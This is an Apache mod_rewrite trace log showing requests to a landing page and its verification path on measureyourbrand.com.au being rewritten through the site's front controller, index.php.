[Mon Nov 10 18:42:43.572420 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0ce880/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572435 2025] [rewrite:trace4] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0ce880/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572459 2025] [rewrite:trace4] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0ce880/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572482 2025] [rewrite:trace4] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0ce880/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572513 2025] [rewrite:trace2] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0ce880/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572533 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0ce880/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572548 2025] [rewrite:trace2] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0ce880/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572558 2025] [rewrite:trace2] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0ce880/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572568 2025] [rewrite:trace1] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0ce880/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:04.571689 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0eb670/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.571767 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0eb670/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.571784 2025] [rewrite:trace4] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0eb670/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.571802 2025] [rewrite:trace4] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0eb670/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.571828 2025] [rewrite:trace4] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0eb670/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.571838 2025] [rewrite:trace2] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0eb670/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.571849 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0eb670/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.571860 2025] [rewrite:trace2] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0eb670/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.571871 2025] [rewrite:trace2] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0eb670/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.571881 2025] [rewrite:trace1] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0eb670/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.571975 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c01afc8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.571991 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c01afc8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572001 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c01afc8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572013 2025] [rewrite:trace4] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c01afc8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572029 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c01afc8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572040 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c01afc8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572050 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c01afc8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572062 2025] [rewrite:trace4] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c01afc8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572071 2025] [rewrite:trace1] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c01afc8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572245 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0543d0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572269 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0543d0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572282 2025] [rewrite:trace4] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0543d0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572296 2025] [rewrite:trace4] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0543d0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572353 2025] [rewrite:trace4] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0543d0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572373 2025] [rewrite:trace2] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0543d0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572383 2025] [rewrite:trace3] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0543d0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572393 2025] [rewrite:trace2] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0543d0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572403 2025] [rewrite:trace2] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0543d0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:04.572412 2025] [rewrite:trace1] [pid 11081:tid 11095] mod_rewrite.c(505): [client 185.220.101.179:37389] 185.220.101.179 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0543d0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.797919 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838017740/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.797994 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838017740/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798005 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838017740/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798025 2025] [rewrite:trace4] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838017740/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798058 2025] [rewrite:trace4] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838017740/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798083 2025] [rewrite:trace4] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838017740/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798095 2025] [rewrite:trace2] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838017740/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798107 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838017740/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798121 2025] [rewrite:trace2] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838017740/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798132 2025] [rewrite:trace2] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838017740/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798142 2025] [rewrite:trace1] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838017740/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798293 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380112b8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798339 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380112b8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798358 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380112b8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798378 2025] [rewrite:trace4] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380112b8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798389 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380112b8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798410 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380112b8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798426 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380112b8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798440 2025] [rewrite:trace4] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380112b8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798450 2025] [rewrite:trace1] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380112b8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798699 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810dd30/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798729 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810dd30/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798744 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810dd30/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798761 2025] [rewrite:trace4] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810dd30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798777 2025] [rewrite:trace4] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810dd30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798789 2025] [rewrite:trace4] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810dd30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798798 2025] [rewrite:trace2] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810dd30/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798808 2025] [rewrite:trace3] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810dd30/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798818 2025] [rewrite:trace2] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810dd30/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.798828 2025] [rewrite:trace2] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810dd30/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
